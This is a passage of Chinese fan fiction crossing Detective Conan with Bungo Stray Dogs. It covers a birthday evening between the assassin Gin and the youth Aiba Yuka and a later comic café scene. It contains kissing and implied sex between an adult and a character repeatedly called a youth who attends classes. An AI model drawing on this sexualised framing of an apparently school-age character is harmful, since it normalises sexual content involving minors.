凑近一看,相叶佑禾才发现琴酒的衬衫有些淩乱,袖口上还带着些淡淡的硝烟气息。 他今天去出任务了。 还受伤了。 所以,受伤才知道来找他? 相叶佑禾冷笑一声,拽住他的衣领猛地用力,衬衫被粗暴的动作撕开,一颗颗纽扣迸溅四散,在地板上弹跳时发出叮叮当当的声音。 琴酒意外的觉得这声音很悦耳。 伤口被牵扯到传来疼痛,琴酒难以抑制地闷哼了一声,相叶佑禾骂道:“活该。” 他看着男人腰间狰狞的刀伤抿了抿唇,替他处理伤口的动作更加小心翼翼。 阴阳怪气地嘲讽道:“哟,三周不见,你的身手变得这麽拉了?在体术上居然输给了别人。” 琴酒垂眸,他的目光落在相叶佑禾脸上,少年屏息凝神,眼睛死死盯着他的伤口,指间的力道轻得仿佛在触碰易碎品,生怕不小心弄痛他。 琴酒的眉头舒展了些许,他手指动了动,想要抬手抹去少年鼻尖渗出的汗珠细密汗珠,却又止住了。 他低笑一声:“准确来说,是23天11个小时。” “……”准确的数字像一片羽毛落在水面上,激起一圈微不可见的涟漪。 相叶佑禾睫毛颤了颤:“就你记性好。” “记性这麽好,为什麽还受伤?” 前后不搭的话,但在因担心而埋怨的人说来并没什麽问题。 为什麽受伤麽…… 琴酒也想不通,当时为什麽没避开那轻而易举就能躲开的攻击。 大概是那个叫太宰治的小子太烦人了吧。 【“琴酒先生,我正要去佑禾的生日会,你要一起来吗?” “佑禾虽然没邀请你,但以他好脾气的性格,你来了他也不会赶你走的。” “就像我的钱包没了,现在完全靠佑禾养活,他也没有赶走我。” “啊,接下来还要继续靠佑禾养活,琴酒先生,你真的不和我一起去吗?”】 太宰治的话并不足以让琴酒乱了心神,他也不觉得他在相叶佑禾心中的位置会被这麽轻易取代。 但在那个早就被他发现的偷袭者将匕首刺来时,琴酒自己也不知道为什麽,偏偏想让这身新衣服填点颜色。 这样,相叶佑禾这个别扭又非要挣个输赢的小鬼就有理由和他说话了。 伤口很快处理好,在最后给绷带打结上,相叶佑禾故意打了个不符合杀手身份的蝴蝶结。 “好了。”即使使坏恶心了一下冷酷无情的杀手,他也没什麽好脸色。 琴酒看了眼身上这件破了的衬衫,索性直接脱了。 他的身体骤然暴露在眼前,男人宽阔的肩膀向下收束成精悍的腰线,每一寸肌肉线条都透露着淩厉的美感,随着呼吸,这些肌肉微微起伏,在皮肤下流动着危险的力量感。 雪白的绷带缠在腰线处,精致的蝴蝶结像是打上了独属于他的标志。 明明很熟悉这具身体,相叶佑禾的脸还是难以避免的瞬间涨红。 “你……”孤男寡男共处一室,怎麽能不穿衣服呢! 偏偏这件衣服又是他自己撕坏的。 但是去找衣服给他穿,不就表现得他很在意吗? 相叶佑禾想了想,说:“身上全是硝烟味难闻死了!快去洗澡!” 琴酒莫名被他推进了浴室。 随后,相叶佑禾趁机将那被压箱底的,属于琴酒的衣物翻了出来,找了件差不多的衬衫和裤子放在门口。 等琴酒洗好后,看着门口这件白色衬衫,眉尾微扬。 “看什麽?出去穿,我要洗澡了!”相叶佑禾梗着脖子说完,迅速钻进浴室。 他想好了,洗完就直接回房间睡觉,不跟琴酒多说一句话。 反正琴酒来找他也只是包扎伤口,伤口处理好了也没什麽好说的。 想到这,相叶佑禾气不打一处来,就差对着花洒给水来上几拳。 明明记性那麽好,看了他那麽多数据,怎麽就完全不知道今天是什麽日子。 哦,琴酒的话,就算知道也不会在意的吧。 相叶佑禾心头浮出几丝淡淡的酸涩,哼,他有那麽多祝福,不缺琴酒一个。 洗漱完后,相叶佑禾连头发都不吹了,一边用毛巾擦着,一边往卧室走去。 路过琴酒时假装被毛巾遮住,连看都不看一眼。 “蛋糕,你今天还能吃下麽?”琴酒的声音拦住了相叶佑禾的去路。 他定在原地,还带着些许湿气的睫毛颤了颤。 琴酒:“我顺路带了草莓蛋糕,如果你吃不下,可以放着明天吃。” 相叶佑禾转头,桌上放着个精致又漂亮的草莓蛋糕,蛋糕上插着还未点燃的蜡烛,旁边放着生日帽。 显然,根本不是什麽顺路带的。 相叶佑禾看了眼似乎依旧冷酷的杀手,喉咙有些发紧:“能。” 他看着琴酒的眼睛,欲盖弥彰的解释:“今天的蛋糕我只吃了一块,大部分都进乱步肚子里了。” 在他们的管控下,其实乱步只吃了一块。 “根本没吃够。” 其实他现在对蛋糕没什麽兴趣了。 琴酒勾了勾唇,他点燃蜡烛,暖黄的光晕在他轮廓分明的脸上摇曳着,柔化了他眉宇间常见的冷峻,竟透出几分温柔的错觉来。 组织的topkiller第一次做这种事,却十分自然,赏心悦目。 “你的愿望是什麽?” 相叶佑禾走过去,垂着眸小声嘟囔:“哪有人直接问?说出来就不灵了。” “那我换个问法。”琴酒将相叶佑禾盖住脑袋的毛巾拿走,轻轻抬起他的脸,问:“你想要我做什麽?” 第79章 别撒娇 暖色调的灯光将琴酒冷峻的容颜镀上一层柔和的光辉,那双总是如寒潭一般幽深的瞳孔里,此刻只倒映着相叶佑禾一个人,眼底翻涌着灼热的情绪。 他指间轻轻抚摸着相叶佑禾的下巴,粗糙的指腹缓缓缓剐蹭着少年细腻的皮肤,激起一阵细微的战栗,呼吸间喷洒出来的气息粘稠的缠绕在周围,让周遭的空气节节攀升。 他的衬衫依旧没有老老实实的穿好,领口肆意敞开,锁骨在灯光下勾勒出诱人的阴影…… 相叶佑禾亲眼看着男人喉结滚动了一下。 他险些脱口而出的‘什麽都可以吗?’,硬生生止住了。 很危险。 他莫名觉得说出这句话会很危险! 相叶佑禾拍开琴酒的手,走到蛋糕前坐下,用干涩的嗓子说:“你以为自己是许愿机吗?” 不再是‘离我的生活远点’、‘以后我们就是陌生人’、‘见面要装作不认识’之类的话,而是红着脸,竭力掩饰着内心的慌乱,急急忙忙地催促他:“快点,把灯关了才能许愿!” 琴酒扯了扯嘴角,喉咙里溢出一声低低的轻笑。 他走过去把灯关掉,客厅陷入一片黑暗,只剩下蛋糕上的烛火在摇曳。 昏黄的光晕温柔地勾勒出少年精致的面庞,那双如春水般的绿眸在看向他时亮晶晶的,仿若阳光下泛起粼粼波光的湖面。 琴酒眸光微暗,喉咙紧得慌。 相叶佑禾未曾察觉。 他和琴酒从来都是你死我活,要不然就夹枪带棒,你气一下我我气一下你的,现在一起过生日什麽的……这种温馨的场景他还有些不习惯。 不过他心里还是很开心的。 调整好自己后,他咳嗽了一声,喊:“琴酒。” “嗯?”银发男人的声音很低,还带着几分沙哑。 “过生日的人许愿的时候,其他人要唱生日歌祝福的。”相叶佑禾眨巴着眼睛暗示。 琴酒:“……” 他视线扫过少年弯弯的眉眼,移开目光。 “许你的愿。” 相叶佑禾:“……” 真冷漠。 “唱呗唱呗,蛋糕都给我准备了。”相叶佑禾本来要去戳琴酒的腰,想到他身上的伤口又换了个位置,戳在那结实富有弹性的胳膊上。 滚烫的温度隔着衣料传递而来,相叶佑禾惊了一下。 “别撒娇。”银发男人的声音沙哑得可怕。 摇曳的火苗倒映在男人墨绿色的瞳孔里,好似将那深埋在眼底的灼热和危险暴露了出来。 相叶佑禾连忙收回视线:“我、我才没有撒娇!” “不唱就不唱。” 说实话,他也觉得让琴酒唱生日歌可太惊悚了,难以想象。 他用琴酒的身体唱还差不多。 相叶佑禾闭上眼睛,正准备许愿时,又道:“一次生日许两次愿望会不会有些过分?” “不会。”琴酒说:“如果担心实现不了,你可以直接将愿望告诉我。” 又说这种话。 相叶佑禾看着男人深邃的眉眼,某些埋藏在心底的想法即将坦露出来,可又有些不知道该不该说。 他的异能力、他和横滨之间的事还没有解决,万一在他们关系缓和时他被迫回去横滨…… 相叶佑禾低垂地眸中闪过一道戾气。 算了,生日的时候不想这种扫兴的事。 “好啊。”相叶佑禾重新闭上眼睛,双手合十:“那就许愿某个杀手先生伤势快点好起来,以后不要再受伤了。” “……因为我不想被麻烦。” “某个要我向他许愿的人,听到了吗?” 少年清润的嗓音一字不落地传入耳中,银发男人眼睛一眨不眨地盯着相叶佑禾,对方一副没听到回答就不睁眼、会一直许愿,许到他回答的样子。 某些刚压制下去的渴望又以势不可挡之势涌了上来,而理智却在快速坍塌,琴酒垂在身侧的指节收紧,朝少年的脸颊探去。 “听到了。” 喑哑的嗓音近在咫尺,一只大手捧住了他的脸颊,相叶佑禾睁开眼,额头上载来湿热的触感。 相叶佑禾呆滞住。 银发男人稍微退后一些,看着他又重复了一遍:“我听到了。” 相叶佑禾的手猛然捏紧,睫毛不住地颤抖着。 犯、太犯规了! 他像被拔了插头的电器,突然失了声。 过了几秒后,才慢吞吞、小声小气地说:“我、我要吹蜡烛了。” 琴酒松开手:“嗯。” 相叶佑禾:“……一起吗?” 琴酒:“嗯。” 明明是对彼此都很陌生的行为,在此刻却像已经一同度过无数次般自然。 自然得让人心都要化开了。 相叶佑禾觉得,这真是他度过的最特殊、最圆满的一个生日,也是他自有记忆以来最开心的一天。 蜡烛熄灭,屋内再次陷入黑暗,两人谁都没开口,空气一片寂静。 过了几秒,琴酒把灯打开:“吃蛋糕吧。” 相叶佑禾点了点头,他用刀将蛋糕切开,琴酒看了眼贴在少年脸颊上湿漉漉的头发,捞起搭在沙发上的毛巾,给他擦拭着。 相叶佑禾捏着叉子的手紧了紧,想说他可以先去把头发吹干,但又不想离开。 算了,想那麽多干嘛,反正等他拿下黑衣组织,琴酒多的是给他擦头发的时候,现在就当提啥练习了。 相叶佑禾叉了块蛋糕放进嘴里,甜腻的奶油瞬间在舌尖化开,混合着草莓清新的果香在口腔里蔓延。 “不是你做的啊?”下意识说完,相叶佑禾后知后觉地察觉到这话的不对。 不等他找补,琴酒问:“想吃我做的?” 相叶佑禾:“不,我只是庆幸不是你做的,不然就没这麽好吃了。” 相叶佑禾也不知道为什麽,除了一些必须隐藏的东西,平时在朋友们面前他都是一个坦率的人,可是到了琴酒这里,就变成了一个总要把真实想法包装起来的幼稚鬼。 相叶佑禾想了想,大概是他们从刚认识起就是敌对关系,防备和隐藏是他们的常态。 他抬眸看了眼这位辛勤的人形吹风机,随手叉了块蛋糕递过去:“要吃吗?” 琴酒垂眸,视线落在蛋糕上。 相叶佑禾以为他要拒绝,继续劝道:“这和平时的蛋糕不一样,生日蛋糕是带有祝福的,吃了会有很多好处,比如摸鱼不会被上司发现、吃的泡面永远不会没有叉子、战斗时永远不会受伤。” 琴酒显然对这种说法嗤之以鼻。 他看向相叶佑禾,后者扬了扬叉子:“你不吃可就亏了。” 少年仰着脑袋,晶莹的瞳孔中倒映着他的身影,发梢的水珠沿着少年纤细的脖颈缓缓滑落,在锁骨凹陷处短暂停留,最终隐入衣领深处,在那片若隐若现的肌肤上留下一道晶亮的水痕。 琴酒的眸光愈发暗沉,喉结不受控制地滚动。 银发男人抬手,捉住了相叶佑禾握着叉子的手往自己方向一带,随后俯身,吻在了少年的唇瓣上。 第80章 不知餍足 相叶佑禾错愕地睁大了眼睛,捏着叉子的手猛地收紧。 “你说的对,不吃确实亏了。”琴酒沙哑的嗓音低低响起,带着几分危险和难以言喻地诱惑,他漫不经心地抽走少年手里的叉子,随意一甩,却准确的钉在盘子里。 他的手指强势插入少年的指缝中,将其牢牢握在手心里,另一只手抬起对方的下颚,再次吻了上去。 唇齿相依间,呼吸被掠夺,唇瓣被碾得发烫,连舌尖都泛起酥麻的刺痛感。 这是一个不容抗拒的深吻,别说逃脱了,钳在下颚上的手甚至容不得相叶佑禾退缩一点,他只能仰着头,努力承受着这个激烈的吻。 直到下颚上的力度稍微松懈些许,相叶佑禾连忙往后退了一些,想要呼吸一口新鲜空气,然而银发男人却不满足地继续跟上,纠缠。 相叶佑禾继续退,银发男人继续跟上,如此两次,连一口气都没办法吸完整的相叶佑禾生气地锤了琴酒两拳,这个不知餍足的男人总算停了下来。 “还没学会怎麽换气?” “什麽话,我又没什麽经验!”接吻这种事,他也就只经历过一次! 相叶佑禾大口大口地喘着气,与胸膛只微微起伏、气定神闲的琴酒形成鲜明的反差。 真是气人! 琴酒低笑一声,看着脸带潮/红、因为缺氧眼睛泛起水雾的相叶佑禾,眼底的暗色愈发浓重。 “多练几次就好了。” 相叶佑禾震惊地看去,果然,男人再次凑了上来,咬住他的双唇:“练到熟练为止。” 相叶佑禾:“……!!” 每当相叶佑禾因为缺氧快晕过去时,琴酒总会停下来,转而朝颈侧、锁骨、心口等其他地方吻去,给他喘息片刻,等到相叶佑禾呼吸稍微平稳一些后,唇舌便会被再次攫住。 看上去似乎十分贴心。 贴心个鬼! 相叶佑禾再次得到喘息时间,粗糙又滚烫的指腹沿着腰线缓缓摩挲,带来的刺激让他抓住男人头发的手猛地收紧,他强忍着身体传来的战栗感,嗓音有些不成调:“停……下,我们……为什麽嗯……要做这种事。” 他其实想问他们是什麽关系,虽然心里有答案了,可在没有得到准确答案之前,相叶佑禾心里总是不踏实。 他不想像上次一样不清不楚的,做完这种亲密的事后像什麽都没发生过一样。 但偏偏相叶佑禾在琴酒面前总是有些争强好胜,不愿意问,可又不想再维持这种不明不白的关系。 好在琴酒完全理解相叶佑禾想要表达的意思。 “呵。”银发男人笑了一声,笑声里带着几分怒气:“你说我们为什麽要做这种事?” 相叶佑禾不太敢看他的眼睛,移开目光小声道:“我怎麽知道。” 银发男人掰过相叶佑禾的脸,让他看着自己,一字一句道:“因为我想要你,我想和你做/爱,会让我产生这种欲/望,这种只对你一个人、难以抑制的渴望,你说是为什麽?” 直白的话语让相叶佑禾呆滞了一瞬,本来就因为亲吻染上红晕的脸现在更是涨红得像熟透了的苹果一般。 粗、粗俗! 他平时中二得要死的文艺范呢! “懂了麽?”琴酒微微俯身,灼热地吐息喷洒在少年的脸上,他咬牙切齿地问:“你说是为什麽?” 问题转移到了相叶佑禾身上。 能是什麽,既然不是一些走肾不走心的关系,那不就出于爱情了。 ——琴酒喜欢他。 相叶佑禾张了张口,却在对上男人等待着什麽的神情后,把到嘴边的话咽了回去。 琴酒这个混蛋,是故意等着他说出那句话的吧? 相叶佑禾偏不说。 琴酒也没勉强他,只说:“现在轮到我问你了。” 他的指腹轻轻剐蹭着少年的脸颊,柔软细腻的触感令人爱不释手。 “你又为什麽不讨厌我的行为?” 自从琴酒亲了他以来,相叶佑禾思考的都是‘琴酒是不是喜欢他’、‘琴酒果然喜欢他’之类的问题,而他自己的感情,则是被藏在心底,从来不会主动去深思。 如今这份感情被琴酒拉到了表面,让他再也无法忽视。 他有些震惊,震惊自己竟然不知不觉间和琴酒双向奔赴了。 谈恋爱这麽简单的吗? “怎麽不说了?”琴酒似笑非笑。 相叶佑禾觉得这个人真的很气人,明明完全看穿了他的心思,还非要问出来。 他轻哼一声:“我什麽时候说不讨厌了?” “……是麽?”琴酒抬起他的下巴,覆在了少年的唇瓣上。 他这次吻得很温柔,像春风拂过新绽放的花瓣般轻柔地辗转,引领着少年沉醉其中。然后,若即若离的退开些许,还沉醉在其中的少年不自觉追了上来,用迷离的双眼询问为什麽停了。 琴酒轻笑了两声:“没说不讨厌?” 相叶佑禾骤然清醒,琴酒的笑声让他羞耻爆棚,愤怒地踹了男人一脚,想要把这个捉弄他的狗东西踢得远远的,再也别想碰他。 琴酒被踹了也不生气,只不过捉住这只脚,顺势欺身而上:“告诉我,为什麽?” 相叶佑禾从来没觉得琴酒竟然这麽难缠,明明他以前虽然不温柔,但也会懒得计较一般让着自己。 不过这份不达目的誓不罢休的执着,倒是一如既往。 修长的手指在身上游走,灵魂互换让琴酒早就对这具身体了如指掌,轻而易举就触碰到少年最为敏感的部位。 相叶佑禾身体一颤,手指死死掐在琴酒的手臂上,溃不成军。 “喜欢喜欢喜欢,因为喜欢你行了吧!”他终于受不了了,放弃挣扎羞恼地大喊:“问问问,就知道问!要做就做,废话怎麽那麽多!” 感受到男人动作的停顿,相叶佑禾后知后觉发现自己说了什麽不得了的话。 他看着男人骤然变得危险的目光,如同野兽一般要将他拆吃入腹,突然后悔。 相叶佑禾缩了缩身体:“我刚才开玩笑的。” 琴酒:“迟了。” 少年的青涩在他身/下展现得淋漓尽致,让人欲罢不能。克制了许久的欲/望终于在此刻得到释放,琴酒当然不想轻易放过相叶佑禾,但顾及着少年的身体,还是没有乱来。 许久后,琴酒将重新清洗干净的相叶佑禾抱到床上,并在旁边躺下。 他刚一靠近,还在睡梦中的少年便下意识伸手推搡了下他,想让他离开一点。 琴酒没有远离,反而抓住他的手,将人拉进怀里,牢牢禁锢住。 银白的月光流淌在少年的脸上,因情/事而残留下绯色仍晕染在眼尾,秀色可餐。琴酒喉结重重滚动了一下,最终还是忍耐了下来。 放在床头的手机突然传来一声震动,琴酒长手一捞,打开手机。 【来见我。】 简简单单的三个字,没有署名,也没有备注。 手机冷白的灯光照应在琴酒的脸上,映衬得更加冷冽锐利。 【知道了,boss。——Gin】—— 相叶佑禾醒来时已经是日上三竿了,他迷迷糊糊地睁开眼,蹬了蹬腿,酸痛的身体提醒他昨晚发生了些什麽。 他下意识地看向身侧,没有看到人后才捂住脸,将自己缩进被子里,蜷缩着身体无声尖叫。 脑子里不停回想起昨晚一些激烈的场景,相叶佑禾恨不得将自己砸晕。 “醒了?”琴酒冷冽的嗓音响起,相叶佑禾猛地抓住被子,防止被扯开:“醒了!” 琴酒:“休息好了?” 相叶佑禾:“休息好了!” “起来吃饭。”琴酒看了眼缩在被子里的少年,问:“要我帮忙麽?” 相叶佑禾:“不、不用!” 等关门声传来,相叶佑禾又窝在被子里滚了几圈后,才整理了下衣服从床上爬起来。 他洗漱时,看到镜子里布满了痕迹的身体,脸烧得慌。 怎麽这麽多! 他还怎麽见人! 快速洗漱完后,相叶佑禾跑出去对着正在盛粥的男人喊道:“琴酒!以后不准在我脖子上留下这麽多痕迹!” 琴酒目光扫过少年满是爱/痕的脖颈,眸光微暗。 他将碗放下,没有回答。 相叶佑禾走过去:“琴酒,你听到了没有!”这麽多痕迹让他怎麽见人! 琴酒漫不经心地‘嗯’了一声,掐住少年的脸颊,俯身在他脖颈上留下又一道更加醒目的新痕迹。 随后,恶劣地扯了一下嘴角:“没听到。” 相叶佑禾:“……” 相叶佑禾:“!!” 相叶佑禾生气地踢了他一脚,一把抓住男人的衣领将人拽了下来,在他颈部最上方啃了一口。 他看着这道除非戴围巾把下巴也遮住一部分才能遮住的痕迹,满意地点了点头:“扯平了。” 他正要退开时,被琴酒一把带进怀里,唇齿纠缠了一番后,相叶佑禾腿软得有些站不稳,全靠琴酒撑着。 “你、一大早怎麽就这麽激烈?” 琴酒用指腹抹了下他的唇瓣:“这才刚开始。” 相叶佑禾:“我今天还要上课。” 琴酒:“我给你请假了。” 相叶佑禾:“……我还有点痛。” 琴酒:“放心,我会很轻。” 相叶佑禾:“……好、好吧。” 琴酒扯了扯嘴角:“我有个任务。” 相叶佑禾怒了:“那你说半天干什麽?!” 这个恶劣的混蛋! boss在半夜下达的命令,他为了等相叶佑禾醒来已经耽误了不少时间,虽说可以用还在出任务无法立即赶过去作为借口,但再耽误下去,就要被怀疑了。 琴酒手指在少年唇瓣上压了压:“等我做完任务回来继续。” 相叶佑禾瞥了眼他的腰:“受伤了还要去吗?不能交给别人吗?” 面对少年的担心,琴酒解释:“是boss下达的命令。” 相叶佑禾撇了撇嘴,老不死的一天天就会使唤人。 看来他要快点把乌丸莲耶踹下去了。 想到这,相叶佑禾又看了眼琴酒。 谁人不知组织的topkiller有多忠诚,如果他把boss杀掉,琴酒会不会…… 琴酒:“舍不得?” “才没有。”因为想不到自己和boss之前琴酒会选择谁,相叶佑禾有些生气,但是他才不管,反正乌丸莲耶他是杀定了。 相叶佑禾一把将琴酒推出去:“做你的任务去吧!” 琴酒双眼微眯,睚眦必报的杀手将少年催着赶他走的态度记在了心里,决定下次连本带利的讨回来—— “boss,您找我。”琴酒将在相叶佑禾家里穿的白衬衫换下,穿上了他标志性的风衣,并用医用纱布将那个新鲜出炉的吻痕遮了起来。 并不是他害羞不敢让人看到,哪怕被人盯着一眨不眨地看,琴酒眉头都不会动一下。 他不能让boss因此察觉到相叶佑禾。 幽暗的房间里,唯一的光源来自于面前巨大的显示屏,里面一个戴着乌鸦头的人坐在椅子上,手指不紧不慢地敲打着扶手。 过了片刻,他才缓缓开口。 “相叶佑禾。” 这个名字让琴酒眸中的杀意一闪而过。 BOSS:“把他带来。” 简简单单的四个字完全没有让人猜测的余地。 boss会知道相叶佑禾并不意外,那个小鬼之前用他的身体跑到帝丹高中当了一段时间的老师,组织里那几个城府深沉的家夥可都知道。 当时的琴酒没有对这件事过多阻拦,便是想到等身体换回来后,相叶佑禾无论如何都会被他带来组织,不需要做那些多余的事。 可现在不一样了。 “是,boss。”琴酒神情平静:“他是组织能用的人?” boss不答反问:“你不知道麽?Gin。” boss果然知道了相叶佑禾黑客的身份。是谁透露给boss的?波本?还是贝尔摩德那个女人。 琴酒在心里盘算着要不要把那几个知道相叶佑禾存在的人都杀了,表面面色不改道:“是的,我知道,我想向您确认他是组织能用的人,还是只是boss您需要的人。” 乌丸莲耶停顿了几秒,笑了两声,他对琴酒的聪明感到赞赏和自豪。 “你猜的没错,是我需要相叶佑禾。” 他重新下达命令:“把相叶佑禾带来,带到我的面前。” 经过变身器处理的声音带着几分激动和迫切,以及浓浓的、令人恶心至极的欲/望。 琴酒察觉到里面的不同寻常,他知道boss追求的目标,会让他失态的只有与他目标相关之事,而boss现在知道了相叶佑禾的特殊。 ——除了天才黑客之外的特殊。 是什麽? 他和相叶佑禾灵魂互换的事? 不、不对,那麽找他也是可以的。 相叶佑禾眸中闪过的那抹非人感的幽光? 还有那些来自横滨的少年…… 琴酒在他们出现时就调查过,可得到的一切信息都很正常,正常到让人不难发觉,背后还有一股更强的势力在为他们做掩饰。 “是,boss。”琴酒低垂的眼眸里含满了杀意。 他感受到了迫切,哪怕他不做这个任务,boss也会源源不断的派出其他人去抓相叶佑禾,想要保护对方,就只能把boss给解决掉—— 下午三点,一个浑身缠满了绷带、戴着口罩的少年狗狗祟祟的走进一家咖啡店里。 “咦,相叶哥哥,你脖子上怎麽缠了这麽多绷带?”吉田步美担忧道:“是受伤了吗?” 小岛元太看了看相叶佑禾,歪头:“和刚才的太宰哥哥好像,你们是兄弟吗?” “怎麽可能啦,应该是那个啦,就是这个年纪常见的中二病。”圆谷光彦一副很懂的样子:“对吧,柯南?” 江户川柯南:“……”呵呵,别说了,相叶佑禾都快钻进地缝里了。 相叶佑禾偶尔是真讨厌这群小屁孩,净说些让人想死的话。 但现在,他更想打死的是又把人家东西砸坏了,打电话向他求救的太宰治。 他扫了眼角落里的桌子,太宰治和中原中也吵吵嚷嚷的,江户川乱步正眯着眼吃甜品。 真是一个不落啊。 更想揍一顿太宰治了。 相叶佑禾冲孩子们‘嘘’了一声,戳了戳江户川柯南,拿出钱包递给他:“柯南,帮我把这个拿给中也哥哥可以吗?” 江户川柯南觉得有鬼:“相叶哥哥都来了,为什麽不自己去?” 为什麽……当然是乱步在这里了! 被乱步看到,他昨晚发生了什麽不就都知道了! 他才不要!一想到那种场面相叶佑禾就想死。 哦对,也不能和江户川柯南待太久。 “因为你太宰哥哥太烦人了,我还要回家写作业,不能跟他胡……” “啊!佑禾!”罪魁祸首太宰治跳到桌上指着大门,发出让相叶佑禾想死的声音。 相叶佑禾立马转身,但还是晚了一步。 太宰治已经闪到他面前,并一把勾住了他的脖颈,一副好兄弟的样子,完全没有犯错的自觉。 “果然还是佑禾可靠,这次砸坏了两张桌子四杯咖啡两块蛋糕,全都是小矮子干的喔~” 太宰治喋喋不休地告着状,在扫过他脖颈上的绷带时,眸光变得意味深长起来。 相叶佑禾被他看得一僵,这个黑泥精看出来了吧…… 更可怕的是,中原中也和江户川乱步也朝他走了过来,后者在看到他时眯着的眼睛都睁开了! 他清晰地看到了里面与太宰治同出一辙的意味深长和欲言又止。 相叶佑禾:“……”一切尽在不言中,很好,他可以死了。 相叶佑禾一脸绝望地把钱包拍在太宰治手里。 “太宰,你怎麽又在污蔑人?”中原中也骂骂咧咧,在看到相叶佑禾的绷带和口罩时一愣:“你受伤了?” 相叶佑禾:“我……” 太宰治非常好心的劝阻;“中也,这个你就别管了吧。” “哈?你说的什麽话?”中原中也和相叶佑禾出自同一个实验室,按魏尔伦的说法,他们就是家人、是兄弟。 他当然要管。 中原中也成功从疑问变成确定,他一把抓住相叶佑禾,朝他脖颈处轻轻探去:“告诉我,是谁伤的你?” “没、没有谁!”相叶佑禾吓了一跳,像是触电一般连忙捂着脖子猛地往后退。 中原中也以为是自己碰到伤口弄痛了他,急忙喊:“你别着急,快把手放下来!我看看伤口有没有更严重。” 相叶佑禾哪敢听啊,飞快地朝门口跑去:“我还有事我先走了!” 这副样子看得中原中也更加确信相叶佑禾被人欺负了。 他一把抓住相叶佑禾,把他那只按在‘伤口’上的手拽下来,相叶佑禾瞳孔一缩,浑身颤抖起来:“中、中也,等等……” 中原中也成功误会了,以为相叶佑禾很痛,拉住绷带一扯。 “看吧,我就说你……” 洁白的绷带散落,中原中也的声音戛然而止。【你现在阅读的是魔蝎小说 moxiexs】 80-87 第81章 Gin终于为爱叛逃了? 少年白皙的脖颈上布满了暧昧的痕迹,十分刺眼。 因为两人拉扯的关系,所有人的目光都集中在他们身上,也看清了绷带下的场景。 周围陷入一片安静。 除了扶额的江户川乱步和笑容深邃的太宰治,其他人都愣住了——尤其是知道相叶佑禾感情历史的江户川柯南和灰原哀。 中原中也瞠目结舌,他捏着手里的绷带,嘴唇蠕动着却发不出声音,显然大脑还没反应过来。 就算没吃过猪肉,还没见过猪跑吗? 中原中也出生镭钵街,后来又加入了港/口/黑手党,从小在混乱黑暗的世界里摸爬滚打,有些事情就算没经历过也见过不少,此刻哪能不明白相叶佑禾脖颈上的痕迹是什麽、怎麽来的。 他整张脸涨红,想说些什麽又不知从何说起,只觉得自己好像做了件非常过分、过分到已死谢罪都无法弥补的事。 完了,全完了,他的脸面—— 相叶佑禾悲痛地捂住通红的脸,蹲下身,恨不得立马钻进地缝里才好。 “中也……”他小声哀嚎,没想到被好‘弟弟背刺’,相叶佑禾都顾不得去说对方些什麽了。 让他死吧……呜呜…… “佑、佑禾……”看着都快哭出来了的相叶佑禾,中原中也不知所措地挥舞着手,这才发现手里还捏着罪证——这在刚才无论如何也要拆下来的绷带,突然就变成了烫手山芋,拿也不是,还给相叶佑禾也不是。 “对不起,我、我……”中原中也话还没说完,少年侦探团童年无忌的声音便响起。 “天呐,相叶哥哥受伤好严重!” “这是怎麽弄的呀?是生病还是被人打的?” “看起来好痛的样子!相叶哥哥都快哭了呢,好可怜!” 太宰治笑眯眯地点头:“没错,被人‘打’的呢,下手还很重。” “太坏了!”吉田步美义愤填膺:“相叶哥哥你告诉我们是谁做的,我们少年侦探团一定把这个坏蛋抓起来!对吧柯南、小哀?” 江户川柯南:“呃、呃……” 真不巧,他刚好知道这个坏蛋是谁……但这两情相悦的事,他要怎麽…… 而且他劝得也够多了!哪天不在苦口婆心、拐弯抹角地让佑禾不要和琴酒来往! “你不是说他们分手了吗?”灰原哀小声问,她的视线扫过蹲在地上的少年:“这可一点分手的样子都没有。” “我哪知道!”江户川柯南此刻不得不承认自家好友真是个恋爱脑。 明明都分手几次了,前段时间他都以为两人真的就此再没瓜葛了,结果一转眼就…… 唉! 江户川柯南重重叹了口气,但面上还说:“说不定是琴酒强迫佑禾的,佑禾身体羸弱,哪能反抗。” 鉴于琴酒在大家心目中留下的残暴印象太过深刻,灰原哀觉得他说得也有道理。 看相叶佑禾的目光充满了同情。 “你们几个,时间不早了,该回家了。”她想把少年侦探团们带走,这些东西不适合小孩子看。 小岛元太:“不行!现在最重要的是相叶哥哥的事!” “就是!柯南你该不会怕我们陷入危险吧?”吉田步美握拳:“没关系!有中也哥哥在!中也哥哥打人很厉害!一定能帮相叶哥哥抓住坏蛋的!” 可是你们的相叶哥哥快死了。 太宰治笑得腰都直不起来了:“没错,小矮子打人超厉害,一定能帮佑禾抓到坏蛋的~” “太宰!你能不能别捣乱了!”中原中也头都大了,本来就内疚,这人还哪壶不开提哪壶! 相叶佑禾悲愤欲绝,一把将之前塞进太宰治手里的钱包抢了回来。 “老板!他们打碎的东西让他们自己洗盘子当服务员赔吧!” 太宰治笑容一滞:“啊?” 中原中也倒是没什麽意见,江户川乱步狗狗祟祟地离开,被相叶佑禾一把抓住后衣领。 “等等,为什麽要把乱步大人也算进去?”他跟太宰治那个蔫坏的家夥可不一样! “乱步大人可什麽都没说!” “就因为你什麽都没说!”相叶佑禾咬牙:“你可是江户川乱步。” 江户川乱步蹬腿:“不公平不公平!” 反抗无效,最后三人都被扔进后厨洗盘子。 因为有少年侦探团在,江户川柯南不得不跟着他们一起回去,相叶佑禾还记着这三个坏蛋害他社死的事,于是拉了把椅子过来,喝着咖啡欣赏三人干活的样子。 不过江户川乱步和太宰治,一个可劲摸鱼,一个净做些找死的事——比如给自己做一杯放了洗碗精的咖啡。只有中原中也一个老实人在干活。 他看了眼相叶佑禾,少年的脖颈已经重新绑好了绷带,将那些暧昧的痕迹全都遮掩住。 “佑禾,你居然谈恋爱了啊。”中原中也咳嗽一声,有些好奇:“是个什麽样的女孩?” 自从来到米花町,他们可以说是每天都和相叶佑禾待在一起,但他竟然一点端倪都没察觉到,可见那女孩在相叶佑禾心里有多重要,让他把对方保护得这麽好。 “嗯,确实谈恋爱了。”相叶佑禾大方承认自己恋爱了,只是第一次和同龄人讨论这方面的事,有些不习惯。 至于女孩…… “唔……”相叶佑禾看了眼江户川乱步,后者一副‘乱步大人知道,不会说的’样子,他支支吾吾地点头:“嗯……是个挺好的人。” 他没有特意纠正性别,中原中也很好,这段时间的相处让相叶佑禾对他们的敌意减少了很多,甚至因为同为异能者,他们还能聊一聊同类的话题。 可他们是异能者,他们带着将自己带回去的任务而来,他们有能暂时忽略最终却不得不面对的问题。 相叶佑禾不敢对他们全盘托出。 让他们以为自己的恋爱对象是个女孩挺好的,这样就大大降低琴酒的危险。 